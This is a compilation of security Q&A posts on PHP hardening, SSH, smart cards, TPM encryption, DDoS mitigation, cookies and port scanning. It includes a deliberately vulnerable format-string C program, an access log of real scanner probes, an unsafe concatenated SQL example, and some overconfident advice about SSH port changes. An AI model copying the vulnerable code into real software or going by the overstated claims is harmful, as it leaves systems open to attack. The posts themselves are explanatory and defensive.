Part of the attack you've been a victim of involves path traversal, that is, breaking out of the web root by submitting a relative path in a query string parameter that somehow gets worked into a filename. To fix this part, check the entire codebase for strings that are used as filenames (this includes include and require statements), and sanitize those. The worst cases are those where the filename is used to execute a file as PHP code (intentionally or not), but an innocent file_get_contents can be enough to form a security risk (e.g. when an attacker can trick it into serving a file containing database passwords).

Next, check all parts of your codebase that use strings as code (eval and friends). It's best to eliminate them entirely - they're hardly ever needed, and the price you pay for the perceived convenience is not worth the trouble.

Then there's XSS; you want to make sure that anything you send to the client is properly encoded as HTML. Any string you pull from the database should be considered text, and sending it without converting it to HTML first is plain out wrong and dangerous. Check everything in your code that produces output (which is typically a lot), and make sure all dynamic strings are properly encoded (htmlspecialchars() does this for you). It is important to have a clear understanding which of your strings are text and which ones are HTML - while using one as the other technically works, it is, again, wrong and dangerous.

SQL Injection is another low hanging fruit for attackers. The way you are trying to protect yourself is popular, but very inefficient. It fails on multiple accounts - there are tons of tricks you can use to still inject SQL without using any of the blacklisted strings, and the more you blacklist, the higher the chance for false positives. I've seen people block single quotes altogether as part of SQL injection prevention, with the result that it was impossible to find any customers named O'Brien (of which there were several). To properly solve SQL Injection, make sure all your queries are parametrized. Unfortunately, the old-school mysql_XXXX() API doesn't support these, so people just happily concatenate queries, which, again, is wrong and dangerous. I'm talking about things like these: mysql_query("SELECT * FROM foo WHERE bar = '$baz'");. Since PHP offers both the mysqli interface and the PDO API, you should really use these and provide all dynamic values as parameters to your query - the underlying MySQL library will then handle all escaping and safeguarding for you.

Also very important: PHP settings. Turn off register_globals (the most dangerous setting I've ever seen), magic_quotes (it does nothing but suggest a false sense of security and an excuse to write sloppy code), review the recommendations from php.net themselves.

And: file permissions. Make sure your web server has read-only access to your scripts, write access only to specific directories where it is absolutely required, and no access at all to files it doesn't need.

Additionally, put a .htaccess with Deny From All in it into every directory you don't want to serve from. Note that this will not prevent the web server from accessing those files, but it will cause apache to ignore requests that resolve directly to anything in one of these directories - you can still include from there, or read data from files in them, they just can't be requested from the outside.

And finally, a more general thing to do: Review all points where untrusted data enters your system ($_POST, $_GET, $_COOKIE, parts of $_SERVER, and anything that comes from the database is untrusted in this context), and follow its path. See if at any point abuse may be possible.

If you have the budget, you should also consider a professional audit - a skilled hacker will be able to quickly poke through any remaining security holes, and tell you how to fix your specific problems.


How to check that passwords are not stored in a readable format I'm writing a plan to audit my password policy, and I was stuck on one of my policy controls which was making sure that No password should be stored in a readable format.

What is the best practice that I should follow to audit this control? knowing that I will be auditing almost 40 components.

While cleartext storage of passwords is a bad thing, some kinds of "reversible obfuscation" (e.g. Base64 encoding, or ROT13 "encryption") are not much better, and should be detected as well.

The right way to audit the password storage and verification method is to look at the specification, i.e. the document that states what algorithm is used, and with what parameters. If that document exists, just read it. If that document does not exist, assume the worst; from an audit point of view, unspecified behaviour is as bad as weak behaviour.

Looking at the database is akin to reverse engineering: while it tends to work (you can indeed learn a lot of things through reverse engineering), it also indicates that the product designers are not collaborating with the auditors, and that will make the audit meaningless.

(In a hurry, as an auditor, you could make do with a copy of the source code, and see for yourself how the code processes passwords. Source code is not a good substitute for proper documentation, but it is still much better than inference from a cursory look at a database.)


Do i still need IP restriction on my server if I am using key based auth? I currently have ip restrictions set such that I can only SSH into my server from either the office or my home. I expect to travel around to various sites over the next few months and thus need to change this.

Is it relatively secure just to have key based auth (and turn password auth off) and expose the ssh port to anyone? Or should I look into dyndns or noip for my laptop and only allowing SSH from that account?

Thanks

TBH, the IP restriction is crap in my opinion. Never used it in over 10 years I've been using Linux.

Just disable password authentication, root login and change the port. With these three things, you're 99.999999% safe from a SSH point of view, unless:

OpenSSH has a vulnerability.
You expose your private key.

Basically, just changing the port you will not receive any attack unless it's from someone that specifically wants to attack you.


How does storing GPG/SSH private keys on smart cards compare to plain USB drives? I have a basic understanding of private/public key cryptography and have been using it for SSH logins and GPG encryption/signing for a while now.  However, I have always kept the private key/keyrings in the default location, in my home directory (.gnupg and .ssh).   Obviously, I can transfer the keys to a usb drive, which theoretically means neither a keylogger on my computer or the usb drive alone will be enough to get at my private key.

What benefits do smart cards capable of storing private keys, and devices like the YubiKey Neo (which seems to be a smart card + usb reader in a single dongle) offer above storing private keys on a plain-old usb thumb drive?

Does the smart card ever "reveal" the private key to applications like SSH or GPG? If so, it seems anyone who has the PIN and the device itself can still get at the private key, and offers no advantages over regular USB drives. If not, how exactly do applications work without knowing the private key?

Does the smart card ever "reveal" the private key to applications like SSH or GPG? If so, it seems anyone who has the PIN and the device itself can still get at the private key, and offers no advantages over regular USB drives. If not, how exactly do applications work without knowing the private key?

Ideally, No.

The primary advantage of such a token is that it keeps its key secret, and performs crypto activity (such as decrypting, signing, etc.) on the hardware device itself, never disclosing the private key.

So, for example, you can request the public key from the device, and use that public key to encrypt a file (with or without the device present). But to decrypt the file, you have to plug in the token and ask it to decrypt the file for you.

The actual implementation details vary between devices, but this is the general idea of what you want to happen.

Additionally, these crypto tokens often employ some physical security measures to help prevent an attacker from disassembling the device and directly retrieving the key. It's not possible to protect with 100% certainty, but measures like using a single chip design (instead of including a discreet memory chip) and generous helpings of epoxy are common.


How are Android's native libraries protected against tampering? On Android it is possible to add native libraries provided by the system (/system/lib/) or the vendor (/vendor/lib/) to a system app. For example, the libandroid_runtime.so is loaded with System.load("/system/lib/libandroid_runtime.so"). How are these libraries protected against tampering? Are all libraries signed and if so, where does the system stores the public key to check the signatures and when does it check the signature (at loading/ at runtime)? Does an app needs to check the integrity when loading such a native library?

Android native libraries are protected under integrity of android partitions. Android uses dm-verity to verify integrity of each partition. Except /boot partition, other partitions contain signed hashtree which is verified by /boot/verity_key. The root hash and salt of hashtree and hash of boot image are stored in vbmeta partition. This vbmeta partition is signed by OEM's private key and verified by OEM public key embedded in bootloader.


3rd Party trackers and online privacy I don't feel the internet is respecting our individual right to privacy. Why are 3rd party trackers allowed to siphon data from us without our permission? We should selectively be able to reveal what we want to only to who we want.
  how can we neglect 3rd party trackers and other similar kind of actors from getting our data without permission?

Legal Requirements

They are not allowed, in a lot of cases.  As a result of the GDPR and similar legislation in other territories, companies are no longer allowed to siphon that data without permission even when it is just an anonymous identifier and websites are expected to give the user control over where data is sent.   This has the problem that the onus is on those collecting the information to obey the rules and assumes that those rules apply to them, which they may not.

Technical Measures

Browsers can optionally include a 'Do Not Track' header which signals that the user does not want tracking data to be collected.  There are growing calls for browser makers to abandon DNT as it is routinely ignored by apache servers for browsers where it is enabled by default.

P3P was another attempt to implement browser-side privacy processing.  However development stopped on this some years ago due to a lack of support by browser makers.

Browser plug-in tools like Privacy Badger can block known tracking sites/links, but those only apply to browsers and puts those seeking privacy in a position where you need to know every URL that you need to block, and in some cases can degrade the user experience.  Browser plug-ins do not affect Apps on mobile and embedded devices.

DNSBL tools like Pi-hole can currently be used to block sites at the network level but this is a less than ideal situation because it requires an exhaustive list of sites to block and again can interfere with the user experience.  With moves towards encrypted DNS (via TLS and HTTP) this avenue is likely to become decreasingly viable in the future.

VPNs and similar tools like TOR may go some way towards hiding your personal/tracking information, but to be effective they require a significant amount of operational security for the user and again significantly degrade the user experience.  Such methods require rigorous OPSEC and discipline in many cases.

Bad actors

All the measures listed are of limited value in the case of companies who act in bad faith.

A prime example of this is google; their CEO (Eric Schmidt) said in 2010, "We know where you are.  We know where you've been.  We can more or less know what you're thinking about." and the company has an established track record of committing (and getting away with) large privacy breaches including...

slurping personal data from wireless routers
bypassing P3P processing
"forgetting" to mention that some nest products have built-in microphones

With a company like google acting in bad faith, it makes life particularly difficult to maintain privacy as blocking sites like googleapis and google fonts leaves users with a severely degraded experience on the web as a significant number of sites rely on their content and they are by no means alone.

tl;dr - privacy is not being respected and there aren't any silver-bullets to enforce our rights at present.


My Apache server is regularly challenged with vulnerability attacks: Do I need to worry? When I look into my access logs: I find a lot of suspicious activity that looks like attempts to gain administrative access to my system using vulnerabilities from known web software products such as WordPress, Joomla, PhpBB, etc... I have none of these software installed, and are only running my own, un-released (closed source) software.

However, I am running (and using) PhpMyAdmin. I do detect several intrution attempts to this as well, but they look to be unsuccessful: As there are only a few request made per attempt, responded with a 404 or a 401 error.

Here is a list of randomly picked suspicious entries in my access log (Stripped out IP-addresses):

0.0.0.0 - - [09/Mar/2016:17:10:30 +0100] "GET /CFIDE/administrator/ HTTP/1.1" 404 1057 "-" "-"
0.0.0.0 - - [09/Mar/2016:14:54:02 +0100] "GET http://zc.qq.com/cgi-bin/common/attr?id=260714&r=0.6554975758995777 HTTP/1.1" 404 1053 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; 360SE)"
0.0.0.0 - - [07/Mar/2016:23:29:52 +0100] "GET /muieblackcat HTTP/1.1" 404 1057 "-" "-"
0.0.0.0 - - [07/Mar/2016:23:29:52 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 1057 "-" "-"
0.0.0.0 - - [07/Mar/2016:23:29:53 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 1057 "-" "-"
0.0.0.0 - - [07/Mar/2016:23:29:54 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 1057 "-" "-"
0.0.0.0 - - [07/Mar/2016:23:29:54 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 1057 "-" "-"
0.0.0.0 - - [07/Mar/2016:23:29:55 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 1057 "-" "-"
0.0.0.0 - - [07/Mar/2016:21:42:52 +0100] "GET /wordpress/ HTTP/1.1" 404 1060 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2563.97 Safari/527.26"
0.0.0.0 - - [07/Mar/2016:15:02:32 +0100] "GET //admin/scripts/setup.php HTTP/1.1" 401 1310 "-" "-"
0.0.0.0 - - [07/Mar/2016:15:02:32 +0100] "GET //admin/pma/scripts/setup.php HTTP/1.1" 401 1314 "-" "-"
0.0.0.0 - - [07/Mar/2016:15:02:33 +0100] "GET //admin/phpmyadmin/scripts/setup.php HTTP/1.1" 401 1321 "-" "-"
0.0.0.0 - - [29/Feb/2016:10:02:03 +0100] "GET /administrator/ HTTP/1.1" 406 - "http://mydomain.com/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36"
0.0.0.0 - - [29/Feb/2016:00:09:34 +0100] "GET http://24x7-allrequestsallowed.com/?PHPSESSID=aab45f4f00143PRZJW%5EHYCMFUAZ HTTP/1.1" 200 178 "-" "-"
0.0.0.0 - - [28/Feb/2016:20:10:11 +0100] "GET /wp-login.php HTTP/1.1" 406 - "http://mydomain.com/wp-login.php" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36"

Should I be worried about my customers privacy and security? If so: Should I file a police report?

Looks like normal scanning background noise to me. All of the services targeted were historically known to have security vulnerabilities, resulting in server compromise. Most of these issues have been fixed in later versions, but attackers still regularly scan for them on the off-chance that they can hijack more servers for dubious purposes.

If they all gave 40x errors, they've not got through, so there shouldn't be any direct worry about your customer data. There might be ways into your server, but they would usually have received a 20x response - things like SQL injection often just return unexpected data, using an expected method (such as a web page).

I would doubt that the police would have any interest in this - chances are that the scanning IP belongs to a third party whose server was running one of those vulnerable applications, so the chances of linking back to the actual attacker are slim.

If you're worried about this kind of scanning, consider manually blocked IP addresses that are performing it - but be aware that you may end up blocking legitimate users as a side effect.


Using a TPM with Linux I have the need for a company laptop (Dell e6540) that contains our java application on it to go out for evaluation purposes.  For this reason I would like to make sure that the HDD is protected from customers (or anyone else) being able to take our java app off of the laptop and view the source.  We have taken many necessary precautions and hardened the OS putting it into a custom "kiosk-like" mode.

My last obstacle is to get the key for disk encryption stored on the TPM of the Dell Laptop.  This way I can have an encrypted disk without giving a customer the password/key.  This has proven to be a nightmare so far under Ubuntu 12.  All of the documents I find are at least 4-5 years old.  The interaction of using LUKS with TPM-LUKS and Trousers is unstable on the newer linux versions (at best)

The requirements are Disk Encryption (either partition or FDE) without having to give the password to the users.  Is anyone aware of a solution on Linux?  This is seamless on Windows using BitLocker.  I have offered up SecureDoc as a solution but they do not see their product as a good fit.

I suspect TPM-LUKS is what you're looking for.

It uses luks encrypted volume which is widely supported and store the password/key within the TPM (NVRAM).

The key can be sealed (Trusted Computing terminology) against the proper boot sequence (BIOS, PCI ROMs, MBR, Boot Loader, etc). In other words, the key is derived from the running environment. If something change, the key won't  be the same hence decryption of the volume doesn't work.


How insecure is it to use the same private key for multiple x509 certificates? My (bring your own device) school has recently implemented TLS interception for search engines and Youtube. We all installed a root certificate as a "Trusted Root CA."

Taking a look at the fake google certificate used for interception, it includes *.google.com, *.android.com, and  every other google domain as alternate names.

The crux of the issue, however, is that every certificate in the district seems to use the same private key. I ran these commands:

diff -s <(openssl x509 -pubkey -noout -in root.crt) <(openssl x509 -pubkey -noout -in fake-google-signed-with-root.crt)

diff -s <(openssl x509 -pubkey -noout -in root.crt) <(openssl x509 -pubkey -noout -in fake-google-signed-with-root-2.crt)

and for both commands got "Files /dev/fd/63 and /dev/fd/62 are identical" as the output.

Does this mean the root certificate and the signed google certificate contain the same private key?
Should each school in the district be using the same fake google certificate?
What are the security implications of this?

Let's start by being clear on what they are doing: forcing you to compromise the security of your device so that they can man-in-the-middle all of your HTTPS traffic, decrypt it, read it, then forward it on to the real server (presumably re-encrypted using proper HTTPS to the server, but you have no guarantee).

So they are using the same keypair in all of their fake certs. Points for you that you noticed this red flag and got curious about it. Let's take a closer look: In a normal TLS certificate setup, you get one cert per server and use a unique keypair fr each server. The reason is that private keys are supposed to be private, but now there are multiple copies of this private key on multiple machines so that a compromise of Server A also compromises Server B. Bad. In this case, all the certs belong to the TLS proxy machine, so whether all the certs were using the same key or not, hacking into that machine would give you all the keys anyway.

And finally, back to the opening point: why would they need to worry about doing things securely when the whole point is to break the security of your BYODs wide open?


Break in attempts from secureserver.net Over the last few weeks I have seen dozens if not hundreds of break-in attempts from ip addresses which map back to secureserver.net. I know these are GoDaddy machines from the who is look up. Something seems to be going on with their network of machines. Every day I see a machine try to log in via ssh as root, admin, etc. I block those ip subnets and every day a new batch shows up in the log.

I can't find an abuse contact to report it. When I called them I just got a lot of crap from the guy on the other end of the phone who kept demanding my account number. I couldn't get through to him that I was not a customer but was concerned that their network had been compromised.

Has anyone else noticed an unusual number of break in attempts from GoDaddy servers? Does anyone know who I should report this to?

Very odd that the attacks came from secureserver.net Being a previous customer of GoDaddy in the past I have only seen that domain name used for mail services. Reference: https://login.secureserver.net/?app=wbe I would preform a whois on the offending ip and report the issue to tech support/abuse consultant. This information is located in the whois report. If no response then take your complaint to a black list service provider and you will get a response.

Before using any of the methods above I would use this form to submit a complaint.

https://supportcenter.godaddy.com/AbuseReport/Index?ci=


User authentication protected against all attack vectors Having spent a lot of time researching, I am unable to confirm whether my system is secure enough.

Users have a mobile phone and login to a central authorization server by passing their username, password and a nonce. The password both will be hashed
Username, password will be pre-generated and given to the user through out-of-band methods. i.e. There is no registration page, and username, password that is assigned to a user will never be compromised
User will receive a jwt with an expiry time of say 12 hours
For any post or get request, the user must add the jwt in the header as per common standards
The server can be trusted entirely

Now my doubts are,

If someone intercepts the packets being sent from the mobile, he can get the jwt token, which can be used to send requests from a hacker. What prevents the hacker from sending requests by adding jwt to his requests?
If the incoming and outgoing packets from the mobile is breached during the login stage, the hacker will get access to the hash of the password (and salt) and username by reading the packets. What prevents him from sending that same data at a later point to the server and obtaining a jwt of its own

I am assuming the hacker is extremely sophisticated.

One thing I thought of, is every time the user tries to login, a key exchange is initiated with the server, and is then used to exchange the password. So if this information is obtained, the hacker cannot use this to authenticate as encryption keys are ephemeral in nature.

Another easier option, is to have the server simply send a nonce, which the client will use to sign the password. This is unique to a single session, so once the user logs in, if a hacker sends that same signed password it will be rejected as the nonce on server side would have expired.

However, I am unable to protect myself in the eventuality that the jwt token is accessed by the hacker.

I presume you are using https with a reasonable key length, to access the login API and receive the JWT and sending the JWT is SSL sessions. If this is the case accessing the JWT from a packet capture of the (encrypted) SSL session is not going to be fast. Hence your JWT should have a sensible expiration time and be reissued on expiration.

If you are concerned that your payload is too sensitive for https I'd suggest using a private connection (eg. tunnel over VPN) prior to app connection. For public facing apps this isn't practical.


Methods to keep an autonomous log with high integrity I'm writing a .NET desktop application that is used to send orders to a server via a REST API. To avoid leaking of our authentication token I have made it so that, when used for the first time, the user has to submit the authentication token and a password to encrypt it with.

The encryption algorithm is AES-256-CBC and the scheme is as follows: the password is hashed before it's used by the algorithm, the salt used for hashing is the computer GUID so just copying the program files will not suffice, and the IV is randomly generated and concatenated with the cipher. When the user opens the program thereafter, he or she is asked for a password, decryption is started, and when the authentication token does not match the required mask it will return an error. So far so good I'd say.

However, my supervisor is not yet content with the level of security: he wants the program to log all orders that have been sent to the server in case of administrative anomalies by the third party that hosts the server, just so that we have a reference with a reasonable level of credibility (though I suppose you could just call it 'proof' in case their administration fails). The 'credibility' part is where any straightforward implementation of a logfile goes right out the window, it wouldn't provide:

Integrity: No person (including the user) is allowed to modify the logfile with content that does not reflect actual usage of the program. The log can only be appended, only when the program's main function is used, and only by the program itself.
Confidentiality: The contents of the log can only be summoned by the user of the program (the password prompt will aid in identification of the user).

I've tried to come up with a cryptographic scheme (digital signing) encrypting every record that is appended to the log and encrypt the public key with the user's password, but this doesn't solve half the problem: the private key would have to be stored by the program anyhow, so strictly speaking it means the user has access to it and have the ability to modify the log.

Is there a method or scheme that meets these requirements?

I would use an externally provided service (Splunk on Cloud, Papertrail - there are others but i have used these ones) to ensure reasonable integrity. Or use your own, separated from the service (based on a commercial solution or, for instance, ELK)

The confidentiality part is more tricky. For the Splunk case, if you have a pre-defined list of users, you could create views with a per user content and give read rights to appropriate users. This is hardly scaleable, though.


Which information of a VMware image can be monitored from the host? I run a Linux virtual machine on my Windows 10 host.
What information (e.g. https traffic) can be monitored from the host?
Is it safe to browse on a virtual machine that uses the host device's network adapter (regarding privacy)?

Which information (e.g. https traffic) can be monitored from the host? Is it safe to browse on a virtual machine that uses the host device's network adapter (regarding privacy)?

The host has full access to peek at the memory of the VM. It can read any secret crypto keys from the memory of the VM, and trivially decrypt all TLS traffic if it wants to. It can interecept all communication at will, and inject traffic into the networking stack of the VM.
You can't use a VM to protect against a rogue host.


Stopping DDOS TCP SYN and UDP flood attacks I would like to know if it's possible to stop a TCP SYN OR ICMP Flood attacks if these attacks are detected at time. What is the most accurate process to filter these addresses if the only way is to block the IP addresses of the botnet.

SYN Flood can be mitigated by enabling SYN Cookies. SYN Cookies prevent an attacker from filling up your SYN queues and make your services unreachable to the legitimate user.

On Linux, those are some settings you can use to enable and set up SYN Cookies efficiently:

echo 1 > /proc/sys/net/ipv4/tcp_syncookies
echo 2048 > /proc/sys/net/ipv4/tcp_max_syn_backlog
echo 3 > /proc/sys/net/ipv4/tcp_synack_retries

To make those settings load automatically on startup, add those lines to the file /etc/sysctl.conf:

net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 2048
net.ipv4.tcp_synack_retries = 3

It is possible to protect a Windows box too, as its described in this article by Microsoft. Windows Vista and above have SYN attack protection enabled by default.

As of UDP flood, unfortunately there isnt much you can do about it. Howover, in a ICMP/Ping flood, you can setup your server to ignore Pings, so an attack will be only half-effective as your server won't consume bandwidth replying the thousands of Pings its receiving.

You can do that by running this configuration:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

And naturally, add this line to the file /etc/sysctl.conf:

net.ipv4.icmp_echo_ignore_all = 1

But bewere some watchdog systems require ICMP Echo to be enabled in order to work. Some rent servers will require you to leave ICMP Echo enabled because of that. But you can still use iptables to disable Ping in only some interfaces.

On Windows this can be done with the command:

netsh firewall set icmpsetting 8 disable

Windows Firewall must be active.


How to create a secure login system with cookies? For my personal education, I am trying to create a secure login system using cookies. I have read a lot of articles and Stack Overflow questions on how to achieve that, but couldn't find anything useful. Everyone is suggests different ways of achieving that, but those who seem reasonable and know what they are doing, I cant quite understand for some reason.

Can you please explain me, what is the best way to create a secure login system with cookies?

I have heard, that the best approach is tokens. But some people say, that you should add a token next to the user id in the token table in the database - and so what if a person logs in from different devices? Some say, you should track IP addresses for that - and so what if a person logs in from another IP? Some say, you should create a session and a cookie - but then what's the point of the session (if the cookie authenticates a person)...

I have seen a lot off questions where people asked similar questions, and in the answers, people were trying to explain what is the difference between cookies and sessions. I know all of the differences and all of the theory. I just cant understand the technique to make everything secure.

I just cant clearly understand how that system should logically work, so can you please explain that step by step to me?

In PHP, creating a session is easy. You first declare it using session_start(). It handles creating a session cookie for you, and pretty much all of the hard stuff. When the user navigates throughout your site, you can read from and write to the session variables using the $_SESSION global object, which can affect which content you want to display to the user, and even how it is displayed.

What happens, is the server generates a secure random token on its side and then sends the value as a cookie to the client which the client automatically communicates back to the server on each request. The server takes this value and uses it to determine which object in memory to reference as the $_SESSION object.

However you want to handle the initial login is up to you -- I'm not going to get into that here. But once the user does log in, you want to indicate that in the $_SESSION global. In order to make it secure you will want to destroy any existing session and create a new one on authentication. The way I usually do it is I set $_SESSION['user'] on login (after destroying the previous session and creating a new one). That way it has another use, checking whether a user is logged in: if(isset($_SESSION['user'])).

This is basic functionality, but hopefully it points you in the right direction. Databases aren't necessary for sessions unless you're trying to implement logon/session policies or you're running your website in a cluster. That would be due for a more complicated discussion which I don't think would be appropriate to get into here.

Edit/Update:

It turns out I will in fact get into the specifics of a secure login system; If you want your login system to be up to standards in terms of security, you will need to properly hash (and salt) your password. It turns out there is a PHP method for that as-well.

Hashing basically turns whatever the input is into garbage that can't be turned back into the original input. Password hashing is used to prevent people from gaining access to the original password in the case of a server/database compromise where passwords can be potentially leaked. The most important thing to know when hashing is that the slowest algorithms work the best for passwords.

Salting is almost equally as important as the algorithm used to secure the passwords. The salt is a CSPRNG which simply gets added to the password before hashing. CSPRNG stands for Cryptographically Secure Pseudo Random Number Generator, and it's really just a fancy way of saying that it's a super random and unpredictable set of bytes. These bytes are randomly generated on a per-password basis to protect end-users against rainbow attacks, in which a single produced hash can be checked against large quantities of passwords. By requiring a single hash per attempt per password, it greatly reduces the chances of mass a password leak resulting from a mass hash leak.

A manual system would work as-follows:

When the user account is created, a row is inserted into the database 'users' with the username specified, and the hashed password. The hashed password is first salted (random data added to the password), then hashed using a slow password hashing algorithm. The salt is additionally added to the password hash before being inserted into the database. Optionally you may store something to identify the hashing algorithm used with it as-well. If you feel uncomfortable combining these values, you can also store them as separate database values.

When the login process is initiated, the database is queried in the 'users' table for the row with the key 'username' matching the username requested. That row is pulled which includes the password hash. First, the salt is taken away from the hash. Then the salt is added to the password given during authentication and that whole thing is hashed using the same hashing algorithm used originally. Then, if the end result matches the hash that is stored, the user can be successfully authenticated.

I hope I'm not confusing you too much with my explanations. Ashley Madison apparently missed the memo entirely so if you don't understand, don't feel bad. You're not a multi-million-dollar website. The most issues come from when people take it upon themselves to accomplish things beyond their skill-set. In that regard I certainly recommend that you use the built-in, or at least open-sourced and publicly recommended password hashing functions whenever possible. They take all of the guesswork out of the equation.


What difference to privacy will I get if i change my workplace wifi DNS to static ones on my iPad? I access internet at my workplace with an iPad that has workplace profile installed on it. This allows me to automatically connect to the company wifi, along with their own DNS settings. If I change these settings to a static address, would I be able to have a bit more privacy when I access the web, or will all my activity still be monitored by the company?

DNS just resolves the urls to ip adresses, If your workplace have a proxy on a gateway and encrypts\decrypts client requests with it's own certificate, then they will be able to monitor all your traffic. That is said, this is not a usual approach, since it would require a significant amount of money to install and maintain storage for all these logs. It is generally not a good idea to use internet access for a private means on any environment that may have require an installation of it's own certificates.


Why do browsers disallow script closing an opener window, yet allow changing its location? Browsers typically don't allow a child tab/window to close its opener with script. And yet they do allow the child to alter the location of the opener tab/window.

This leads to a curious workaround whereby you can create a page that does nothing but close itself with script as soon as its loaded, and then change the location of the parent tab/window to this new page, effectively closing it.

Which leads me to ask, what security issue lead to disabling the ability to close an opener tab/window, and does this workaround effectively create a back door?

Browsers typically don't allow a child tab/window to close its opener with script. And yet they do allow the child to alter the location of the opener tab/window.

This is not entirely accurate. If you read the quoted MDN text more carefully, it is actually referring to the opening of the parent, not the relationship to its popup. The actual restriction you are probably running into is:

Scripts may only close windows were originally opened by script.

So in your specific example, the popup was opened by a script, but the opener was opened by a user, and therefore the opener cannot be closed by either itself or the popup.

Imagine a scenario where there are two popups

User-opened tab (cannot be closed)
Popup 1 (opener is user-opened tab)
Popup 2 (opener is popup 1)

Popup 2 can close popup 1 in this scenario.
However, popup 1 cannot close the user-opened tab because that violates the rule above.

In Chrome & Firefox, it does not matter whether the popups are same origin as their openers. The popup can change the location or close the opener as desired, subject to my first point above.
In IE11, the popup can close the parent, but cannot change parent.location unless it it meets Same Origin policy. (results in new popup if you try)

Also, I'd like to clarify that any opener can close its own popups or change their location without restriction. Access to the popup contents is still subject to Same Origin policy for security reasons.

  This leads to a curious workaround whereby you can create a page that does nothing but close itself with script as soon as its loaded, and then change the location of the parent tab/window to this new page, effectively closing it. ... does this workaround effectively create a back door?

To answer your question directly, there is no such workaround. The linked example will produce the error:

  Scripts may not close windows that were not opened by script.

Unless you are in a 2-popup situation as I explained above, in which case the popup could just close its opener directly. The workaround would be unnecessary in that case though.


Differences between LUKS and Veracrypt These two FDE solutions are similar, but I noticed different executions speed: specially mounting a device it seems that Veracrypt takes more time decrypting it.
So I would like to compare it with LUKS analizing the header format.

I know about LUKS that there is a 2 level key hierarchy and 8 keyslot, maybe Veracrypt is similar.

My question is: how Veracrypt's header is designed?

Both of them will have varying times depending on iteration count:

LUKS hides this somewhat in most Linux distro installs, though it can be changed afterwards, per this Stackexchange question

Veracrypt makes setting the count trivial - use and change the "PIM" setting.


How does android antivirus scan root files like "/data/data" I want to know how does android antivirus scan packages private files in "/data/data" directory.

I read somewhere that they check the file name with their database and declare it as malware but how do some antiviruses like "drweb" scan ".dex" files or resource files in another app private files without root access?

screenshot for better understanding :

Android does not allow access to app private data files under /data/data/<package.name>-<hash>, but the list of files and directories in /data/data is public. Also, the APK files in /data/app directory are readable to everyone, don't require special permissions. The AV scans the contents of APK files (which are signed, but not encrypted ZIP files in disguise), and tries to find signs of malware inside these archives.


How to turn off ASLR under Windows? I'm experimenting a bit with formatstring attacks with a little program (all vulnerabilities intended):

#include <stdio.h>

int main(int argc, char *argv[]) {
    char string[100];
    gets(string);

    char * secret1 = "This is secret";
    char * secret2 = "This is secret too";

    printf(string);
    return 0;
}

Also I deactivated ASLR and DEP in the Visual Studio 2015 linker settings and then built it, but when I run it and try to exploit by passing %s%s%s I just get random gibberish as if ASLR was activated. Also the program crashes when I supply more than three %s's.

Has anyone an idea what could be wrong? Do I need to turn ASLR off globally?

No,

While I don't know the settings you use to disable, using:

DYNAMICBASE:NO

Should disable ASLR on your executable
You can easily check it with process explorer / PE-studio and more.


Is it possible to tunnel my whole linux machine through http proxy? For some reason i access my internet through a HTTP proxy.

Is there a way to tunnel my whole Linux machine (currently am using ubuntu 18.04) through http proxy.

If i change proxy setting in the Ubuntu Network Settings the http proxy only works on the browsers. Other apps are left out.

My current workaround is using a Linux VPN CLI which allows connecting through a http_proxy then tunnel the whole machine through VPN traffic (a service i really dont need)...this is also a bit costly since i have to pay for the VPN.

I am guessing using stunnel might work since i noted Linux VPN CLI use stunnel??

If you want to tunnel any traffic you need to provide a tunnel entry at the network or IP layer and similar a tunnel endpoint too. A HTTP proxy is only an endpoint at the HTTP layer and can at most be used to tunnel TCP traffic with HTTP CONNECT request. And many HTTP proxies also restrict which ports or protocols such TCP traffic can use (i.e. HTTPS and WebSockets, but not arbitrary TCP).

Therefore you need to have something behind the HTTP proxy which creates a tunnel endpoint at the network level. This is what your commercial VPN provider gives you. But you could build your own tunnel endpoint if you have your own server of VPS on the internet. Once you have this you can use your VPN software to reach the tunnel endpoint through a HTTP proxy in a similar way to what your current VPN provider offers.


How do hackers search for vulnerabilities on certain ports? Hackers usually attack open ports and services, but I want to know how they find security holes in specific ports or services.

Basically some tools (like nmap) try to open session over each port of a target. If the session is opened, the tool will try to dialog with the port in every way it knows (http, ftp, smtp, mysql, ...) until it finds the good protocol.
For UDP, the first step is omitted as this is a sessionless protocol.
Before trying every protocol, the scanner can often rely on the banner sent by the server after the session is opened (for example something like "welcome to OpenSSH server v2.2, only the corporate users are allowed to login").
Knowing an open port and the associated protocol the hacker can start to look for vulnerabilities.
There are 3 main ways to do that:

recognize a specific version displayed in the banner and look for publicly known vulnerabilities associated with this version (based on the CVE database for example)
active exploitation: try to run exploits (a program written to exploit a vulnerability) against the target and see which ones are succeeding
read or deduce how the service is configured to discover vulnerabilities due to misconfiguration (most of the time, a service displays its configuration, if not, it is possible to deduce if a specific setting is present or not by trying to call the associated function)

If your question was more about how the vulnerabilities are discovered at the first time. It's more by code audits, bug bounties, whitebox testing, reverse engineering, ... in a controlled environment.
Then the discovered vulnerabilities are registered in the CVE database (maintained by the MITRE) and become public vulnerabilities that everyone can know if a host is affected knowing the version it uses.


E2E Encrypting User Data I'm building an end-to-end encrypted web-app. I plan to use ECDH + P256 curve for generating private/public keys. The private keys are saved onto the user's computer and the public keys are stored on a server. The recipient's public keys are pulled from the server when the sender wants to encrypt and send a file. The sender uses the public keys to derive a secret. The file is encrypted using AES-GCM and sent over to the recipient.
My questions are:

How can this system be improved?
I've read it's good practice to rotate keys. Is there a function that allows the new keys to open old encrypted files? Or do those files need to get thrown away?
Do public keys need to be encrypted in transit?

